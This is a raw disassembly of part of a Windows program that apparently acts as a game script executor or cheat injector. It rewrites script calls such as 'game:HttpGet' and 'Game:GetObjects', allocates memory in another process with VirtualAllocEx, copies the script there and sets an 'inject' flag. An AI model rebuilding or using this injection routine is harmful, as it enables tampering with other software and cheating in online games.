cmp qword [rsp + 0x258], 0x7fffffff
jae 0x14001f6dc
cmp qword [rsp + 0x258], 0x30000
jbe 0x14001f5fe
mov qword [rsp + 0x8b0], 0x30000
jmp 0x14001f60e
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov qword [rsp + 0x6c8], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1318], rax
mov rdx, qword [rsp + 0x438]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1318]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x6c0], rax
lea rdx, [rsp + 0x6d0]
mov rcx, qword [rsp + 0x6c0]
call fcn.14000ea00
mov rax, qword [rsp + 0x6c0]
add rax, 0x10
lea rdx, [rsp + 0x6c8]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x6c8]
or rax, 0x1f
mov qword [rsp + 0x1320], rax
mov rax, qword [rsp + 0x6c0]
add rax, 0x18
lea rdx, [rsp + 0x1320]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x6c8]
mov rcx, qword [rsp + 0x6d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d0], rax
jmp 0x14001f57d
lea rcx, [rsp + 0x15e8]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1b60]
call fcn.140010d00
mov qword [rsp + 0x440], 0
jmp 0x14001f718
mov rax, qword [rsp + 0x440]
inc rax
mov qword [rsp + 0x440], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x440], rax
jae 0x14001f907
lea rcx, [rsp + 0x244]
call fcn.140004440
mov qword [rsp + 0x1328], rax
mov byte [rsp + 0x180], 0
mov byte [rsp + 0x181], 0
mov byte [rsp + 0x182], 0
mov byte [rsp + 0x183], 0
mov byte [rsp + 0x184], 0
mov byte [rsp + 0x185], 0
mov byte [rsp + 0x186], 0
mov byte [rsp + 0x187], 0
mov byte [rsp + 0x188], 0
mov byte [rsp + 0x189], 0
mov byte [rsp + 0x18a], 0
mov byte [rsp + 0x18b], 0
mov byte [rsp + 0x18c], 0
mov byte [rsp + 0x18d], 0
mov byte [rsp + 0x18e], 0
mov byte [rsp + 0x18f], 0
mov byte [rsp + 0x190], 0
mov byte [rsp + 0x191], 0
mov byte [rsp + 0x192], 0
mov byte [rsp + 0x193], 0
mov byte [rsp + 0x194], 0
mov byte [rsp + 0x195], 0
mov byte [rsp + 0x196], 0
mov byte [rsp + 0x197], 0
mov byte [rsp + 0x198], 0xf
mov byte [rsp + 0x199], 0
mov byte [rsp + 0x19a], 0
mov byte [rsp + 0x19b], 0
mov byte [rsp + 0x19c], 0
mov byte [rsp + 0x19d], 0
mov byte [rsp + 0x19e], 0
mov byte [rsp + 0x19f], 0
lea rax, [rsp + 0x1a0]
mov r8, rax
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x2340]
call fcn.14000f730
lea rcx, [rsp + 0x1810]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1820]
lea rcx, [rsp + 0x1810]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1328]
lea rdx, [rsp + 0x1820]
lea rcx, [rsp + 0x1ad0]
call fcn.14000f9d0
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1330], rax
mov rdx, qword [rsp + 0x440]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1330]
add rcx, qword [rax]
mov rax, rcx
lea rdx, [rsp + 0x1ad0]
mov rcx, rax
call fcn.14000e910
nop
lea rcx, [rsp + 0x1ad0]
call fcn.140010e70
jmp 0x14001f705
lea rcx, [rsp + 0x1fc]
call fcn.140004440
mov qword [rsp + 0x1338], rax
mov byte [rsp + 0x158], 0
mov byte [rsp + 0x159], 0
mov byte [rsp + 0x15a], 0
mov byte [rsp + 0x15b], 0
mov byte [rsp + 0x15c], 0
mov byte [rsp + 0x15d], 0
mov byte [rsp + 0x15e], 0
mov byte [rsp + 0x15f], 0
mov byte [rsp + 0x160], 0
mov byte [rsp + 0x161], 0
mov byte [rsp + 0x162], 0
mov byte [rsp + 0x163], 0
mov byte [rsp + 0x164], 0
mov byte [rsp + 0x165], 0
mov byte [rsp + 0x166], 0
mov byte [rsp + 0x167], 0
mov byte [rsp + 0x168], 0
mov byte [rsp + 0x169], 0
mov byte [rsp + 0x16a], 0
mov byte [rsp + 0x16b], 0
mov byte [rsp + 0x16c], 0
mov byte [rsp + 0x16d], 0
mov byte [rsp + 0x16e], 0
mov byte [rsp + 0x16f], 0
mov byte [rsp + 0x170], 0xf
mov byte [rsp + 0x171], 0
mov byte [rsp + 0x172], 0
mov byte [rsp + 0x173], 0
mov byte [rsp + 0x174], 0
mov byte [rsp + 0x175], 0
mov byte [rsp + 0x176], 0
mov byte [rsp + 0x177], 0
lea rax, [rsp + 0x178]
mov r8, rax
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0x2350]
call fcn.14000f730
lea rcx, [rsp + 0x1830]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1840]
lea rcx, [rsp + 0x1830]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1338]
lea rdx, [rsp + 0x1840]
lea rcx, [rsp + 0x1ae8]
call fcn.14000f9d0
nop
movsxd rax, dword [0x14031f004]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x1ae8]
mov rcx, rax
call fcn.14000e910
nop
lea rcx, [rsp + 0x1ae8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x500]
call fcn.140004ac0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 3
lea rdx, [rsp + 0x36c0]
lea rcx, [rsp + 0x3170]
call fcn.14000f0b0
nop
lea rcx, [rsp + 0x3170]
call fcn.140020860
movzx eax, al
test eax, eax
je 0x14002063c
lea rdx, [0x14025c523]
lea rcx, [rsp + 0x2b8]
call fcn.1400047d0
nop
lea rdx, [rsp + 0xa6]
lea rcx, [rsp + 0x3170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov qword [rsp + 0x8c8], rax
mov rax, qword [rsp + 0x8c8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x8c8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001fb86
movzx edx, byte [rsp + 0xa6]
lea rcx, [rsp + 0x2b8]
call fcn.140004c10
jmp 0x14001fb24
lea rcx, [rsp + 0x3170]
call fcn.1400157e0
lea rcx, [rsp + 0x2b8]
call fcn.140015c60
movzx eax, al
test eax, eax
jne 0x14002062f
lea rdx, [0x140269eb0]
lea rcx, [rsp + 0x21f0]
call fcn.1400047d0
nop
lea rdx, str.game:HttpGet
lea rcx, [rsp + 0x21d0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2c58]
mov qword [rsp + 0x1340], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1340]
call fcn.1400073d0
mov qword [rsp + 0x1348], rax
lea r9, [rsp + 0x21f0]
lea r8, [rsp + 0x21d0]
mov rdx, qword [rsp + 0x1348]
lea rcx, [rsp + 0x2990]
call fcn.140023f70
mov qword [rsp + 0x1350], rax
mov rdx, qword [rsp + 0x1350]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2990]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x21d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x21f0]
call fcn.140004ac0
lea rdx, [0x140269ec8]
lea rcx, [rsp + 0x2210]
call fcn.1400047d0
nop
lea rdx, str.Game:HttpGet
lea rcx, [rsp + 0x1cf0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2c78]
mov qword [rsp + 0x1358], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1358]
call fcn.1400073d0
mov qword [rsp + 0x1360], rax
lea r9, [rsp + 0x2210]
lea r8, [rsp + 0x1cf0]
mov rdx, qword [rsp + 0x1360]
lea rcx, [rsp + 0x29b0]
call fcn.140023f70
mov qword [rsp + 0x1368], rax
mov rdx, qword [rsp + 0x1368]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x29b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1cf0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2210]
call fcn.140004ac0
lea rdx, [0x140269ee0]
lea rcx, [rsp + 0x2250]
call fcn.1400047d0
nop
lea rdx, str.game.HttpGet
lea rcx, [rsp + 0x2230]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2c98]
mov qword [rsp + 0x1370], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1370]
call fcn.1400073d0
mov qword [rsp + 0x1378], rax
lea r9, [rsp + 0x2250]
lea r8, [rsp + 0x2230]
mov rdx, qword [rsp + 0x1378]
lea rcx, [rsp + 0x29d0]
call fcn.140023f70
mov qword [rsp + 0x1380], rax
mov rdx, qword [rsp + 0x1380]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x29d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2230]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2250]
call fcn.140004ac0
lea rdx, str.httpget
lea rcx, [rsp + 0x1c70]
call fcn.1400047d0
nop
lea rdx, str.Game.HttpGet
lea rcx, [rsp + 0x1c50]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2cb8]
mov qword [rsp + 0x1388], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x1388]
call fcn.1400073d0
mov qword [rsp + 0x1390], rax
lea r9, [rsp + 0x1c70]
lea r8, [rsp + 0x1c50]
mov rdx, qword [rsp + 0x1390]
lea rcx, [rsp + 0x29f0]
call fcn.140023f70
mov qword [rsp + 0x1398], rax
mov rdx, qword [rsp + 0x1398]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x29f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1c50]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1c70]
call fcn.140004ac0
lea rdx, [0x140269f10]
lea rcx, [rsp + 0x1cb0]
call fcn.1400047d0
nop
lea rdx, str.game:GetObjects
lea rcx, [rsp + 0x1c90]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2cd8]
mov qword [rsp + 0x13a0], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x13a0]
call fcn.1400073d0
mov qword [rsp + 0x13a8], rax
lea r9, [rsp + 0x1cb0]
lea r8, [rsp + 0x1c90]
mov rdx, qword [rsp + 0x13a8]
lea rcx, [rsp + 0x2a10]
call fcn.140023f70
mov qword [rsp + 0x13b0], rax
mov rdx, qword [rsp + 0x13b0]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2a10]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1c90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1cb0]
call fcn.140004ac0
lea rdx, [0x140269f30]
lea rcx, [rsp + 0x1d10]
call fcn.1400047d0
nop
lea rdx, str.Game:GetObjects
lea rcx, [rsp + 0x1cd0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2cf8]
mov qword [rsp + 0x13b8], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x13b8]
call fcn.1400073d0
mov qword [rsp + 0x13c0], rax
lea r9, [rsp + 0x1d10]
lea r8, [rsp + 0x1cd0]
mov rdx, qword [rsp + 0x13c0]
lea rcx, [rsp + 0x2a30]
call fcn.140023f70
mov qword [rsp + 0x13c8], rax
mov rdx, qword [rsp + 0x13c8]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2a30]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1cd0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1d10]
call fcn.140004ac0
lea rdx, [0x140269f50]
lea rcx, [rsp + 0x1d50]
call fcn.1400047d0
nop
lea rdx, str.game.GetObjects
lea rcx, [rsp + 0x1d30]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2d18]
mov qword [rsp + 0x13d0], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x13d0]
call fcn.1400073d0
mov qword [rsp + 0x13d8], rax
lea r9, [rsp + 0x1d50]
lea r8, [rsp + 0x1d30]
mov rdx, qword [rsp + 0x13d8]
lea rcx, [rsp + 0x2a50]
call fcn.140023f70
mov qword [rsp + 0x13e0], rax
mov rdx, qword [rsp + 0x13e0]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2a50]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1d30]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1d50]
call fcn.140004ac0
lea rdx, str.getobjects
lea rcx, [rsp + 0x1d90]
call fcn.1400047d0
nop
lea rdx, str.Game.GetObjects
lea rcx, [rsp + 0x1d70]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2d38]
mov qword [rsp + 0x13e8], rax
lea rdx, [rsp + 0x2b8]
mov rcx, qword [rsp + 0x13e8]
call fcn.1400073d0
mov qword [rsp + 0x13f0], rax
lea r9, [rsp + 0x1d90]
lea r8, [rsp + 0x1d70]
mov rdx, qword [rsp + 0x13f0]
lea rcx, [rsp + 0x2a70]
call fcn.140023f70
mov qword [rsp + 0x13f8], rax
mov rdx, qword [rsp + 0x13f8]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2a70]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1d70]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1d90]
call fcn.140004ac0
mov byte [rsp + 0xe0], 0
mov byte [rsp + 0xe1], 0
mov dword [rsp + 0x1790], 0
mov dword [rsp + 0x1794], 0
mov dword [rsp + 0x1798], 0
mov dword [rsp + 0x179c], 0
mov qword [rsp + 0x17a0], 0
mov qword [rsp + 0x17a8], 0
mov qword [rsp + 0x17b0], 0
mov qword [rsp + 0x17b8], 0
mov qword [rsp + 0x17c0], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xe0]
lea r8, [rsp + 0x1790]
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x2a90]
call fcn.14006e780
mov qword [rsp + 0x1400], rax
mov rdx, qword [rsp + 0x1400]
lea rcx, [rsp + 0x2b8]
call fcn.1400080b0
lea rcx, [rsp + 0x2a90]
call fcn.140004ac0
xor edx, edx
lea rcx, [rsp + 0x2b8]
call fcn.140004b70
movsx eax, byte [rax]
test eax, eax
jle 0x1400202b8
xor edx, edx
lea rcx, [rsp + 0x2b8]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0xa
jl 0x1400202de
mov edx, 1
lea rcx, [rsp + 0x2b8]
call fcn.140004b70
mov rdx, rax
lea rcx, str.Script_error:__s_n
call fcn.14000a170
jmp 0x1400205df
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x16d0]
call fcn.1400073d0
nop
lea rcx, [rsp + 0x16d0]
call fcn.1400057c0
mov qword [rsp + 0x1408], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0x1410], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x1408]
xor edx, edx
mov rcx, qword [rsp + 0x1410]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x820], rax
lea rcx, [rsp + 0x16d0]
call fcn.1400057c0
mov qword [rsp + 0x1418], rax
lea rcx, [rsp + 0x16d0]
call fcn.140008fe0
mov qword [rsp + 0x1420], rax
mov r8, qword [rsp + 0x1418]
mov rdx, qword [rsp + 0x1420]
mov rcx, qword [rsp + 0x820]
call fcn.1400227e0
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x1c48], 0
lea rcx, [rsp + 0x16d0]
call fcn.1400057c0
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x448], 0
jmp 0x1400203f5
mov rax, qword [rsp + 0x448]
inc rax
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x260]
sub rax, 0x30000
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x8d8]
call fcn.140024550
cmp qword [rsp + 0x448], rax
jae 0x14002052c
cmp qword [rsp + 0x260], 0
jbe 0x14002052c
mov eax, 0xffffffff
cmp qword [rsp + 0x260], rax
jae 0x14002052c
cmp qword [rsp + 0x260], 0x30000
jbe 0x14002044e
mov qword [rsp + 0x840], 0x30000
jmp 0x14002045e
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0x840]
mov qword [rsp + 0x598], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1428], rax
mov rdx, qword [rsp + 0x448]
lea rcx, [rsp + 0x8d8]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1428]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x6e0], rax
lea rdx, [rsp + 0x5a0]
mov rcx, qword [rsp + 0x6e0]
call fcn.14000ea00
mov rax, qword [rsp + 0x6e0]
add rax, 0x10
lea rdx, [rsp + 0x598]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x598]
or rax, 0x1f
mov qword [rsp + 0x1430], rax
mov rax, qword [rsp + 0x6e0]
add rax, 0x18
lea rdx, [rsp + 0x1430]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x5a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a0], rax
jmp 0x1400203cc
movsxd rax, dword [0x14031f004]
mov rcx, qword [rsp + 0x450]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d8], rax
lea rdx, str.inject
lea rcx, [rsp + 0x1db0]
call fcn.1400047d0
nop
lea rdx, [rsp + 0x1db0]
mov rcx, qword [rsp + 0x6d8]
call fcn.1401cb520
nop
lea rcx, [rsp + 0x1db0]
call fcn.140004ac0
mov qword [rsp + 0x1438], 6
mov rax, qword [rsp + 0x6d8]
add rax, 0x10
lea rdx, [rsp + 0x1438]
mov rcx, rax
call fcn.14000ea00
mov qword [rsp + 0x1440], 0xf
mov rax, qword [rsp + 0x6d8]
add rax, 0x18
lea rdx, [rsp + 0x1440]
mov rcx, rax
call fcn.14000ea00
nop
lea rcx, [rsp + 0x16d0]
call fcn.140004ac0
mov edx, 1
lea rcx, [rsp + 0x3290]
call fcn.14000f480
nop
mov r9d, 0x40
mov r8d, 0x12
lea rdx, [rsp + 0x36c0]
lea rcx, [rsp + 0x3290]
call fcn.140022910
lea rcx, [rsp + 0x3290]
call fcn.1400158a0
nop
lea rcx, [rsp + 0x3290]
call fcn.140011f90
nop
lea rcx, [rsp + 0x2b8]
call fcn.140004ac0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x3170]
call fcn.140011f10
jmp 0x140019010
lea rcx, [rsp + 0x33a0]
call fcn.140011f90
nop
lea rcx, [rsp + 0x1498]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x14b0]
call fcn.140010fb0
nop
lea rcx, [rsp + 0x330]
call fcn.140004490
nop
lea rcx, [rsp + 0x120]
call fcn.140004490
nop
lea rcx, [rsp + 0x200]
call fcn.140004490
nop
lea rcx, [rsp + 0x140]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x50]
call fcn.140010eb0
nop
lea rcx, [rsp + 0x8d8]
call fcn.140010eb0
mov byte [rsp + 0xa7], 1
lea rcx, [rsp + 0x4e8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x14c8]
call fcn.140010e70
nop
lea rcx, [rsp + 0x978]
call fcn.140010e70
nop
lea rcx, [rsp + 0x8f0]
call fcn.140010e70
nop
lea rcx, [rsp + 0x958]
call fcn.140010d00
nop
lea rcx, [rsp + 0xa90]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x4d0]
call fcn.140010e70
movzx eax, byte [rsp + 0xa7]
add rsp, 0x7828
pop rdi
pop rsi
ret